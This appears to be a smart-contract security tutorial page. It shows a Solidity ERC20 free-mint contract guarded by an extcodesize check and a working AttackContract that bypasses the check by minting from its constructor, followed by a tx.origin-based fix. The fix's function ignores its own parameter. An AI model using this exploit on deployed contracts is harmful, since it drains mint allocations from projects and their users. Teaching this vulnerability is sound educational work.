Skip to main content

Bypass Contract Check

Many free-mint projects utilize the isContract() method to limit access to external accounts (EOAs) and restrict contract addresses. This method leverages extcodesize to determine the runtime bytecode length of an address. If it is greater than zero, the address is deemed a contract; otherwise, it is considered an EOA.

    // Using extcodesize to check if an address is a contract
function checkContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

However, a vulnerability exists because, during contract creation, the runtime bytecode has not yet been stored at the address, so the bytecode length is zero. If we place our logic within the constructor, we can bypass the isContract() check.

Example of the Vulnerability

In the example below, FreemintERC20 contract uses the checkContract() function to prevent contract addresses from executing its mintTokens() function, which is intended to prevent automated bulk minting. Each call to mintTokens() mints 100 tokens.

// Using extcodesize to check if an address is a contract
contract FreemintERC20 is ERC20 {
constructor() ERC20("Token", "TKN") {}

function checkContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

// mint function can only be called by non-contract addresses (vulnerable)
function mintTokens() public {
require(!checkContract(msg.sender), "Contracts are not allowed!");
_mint(msg.sender, 100);
}
}

We create an attack contract that calls mintTokens() multiple times during its constructor to mint 1000 tokens:

// Exploiting constructor characteristics for attacks
contract AttackContract {
bool public detectedAsContract;
address public targetContract;

// During contract creation, extcodesize is 0, thus bypassing isContract() checks.
constructor(address addr) {
targetContract = addr;
detectedAsContract = FreemintERC20(addr).checkContract(address(this));
for(uint i; i < 10; i++){
FreemintERC20(addr).mintTokens();
}
}

// After contract deployment, extcodesize > 0, isContract() will detect
function tryMint() external {
FreemintERC20(targetContract).mintTokens();
}
}

In this contract, calling mintTokens() within the constructor will bypass the isContract() check successfully and mint the tokens. The state variable detectedAsContract will be set to false in the constructor. After deployment, the runtime bytecode is stored at the contract address, and extcodesize > 0, thus checkContract() will successfully block the minting when calling mintTokens().

Prevention Methods

We can use (tx.origin == msg.sender) to determine if the caller is a contract. If the caller is an EOA, then tx.origin and msg.sender will be equal; if they are not equal, the caller is a contract.

function realContractCheck(address account) public view returns (bool) {
return (tx.origin == msg.sender);
}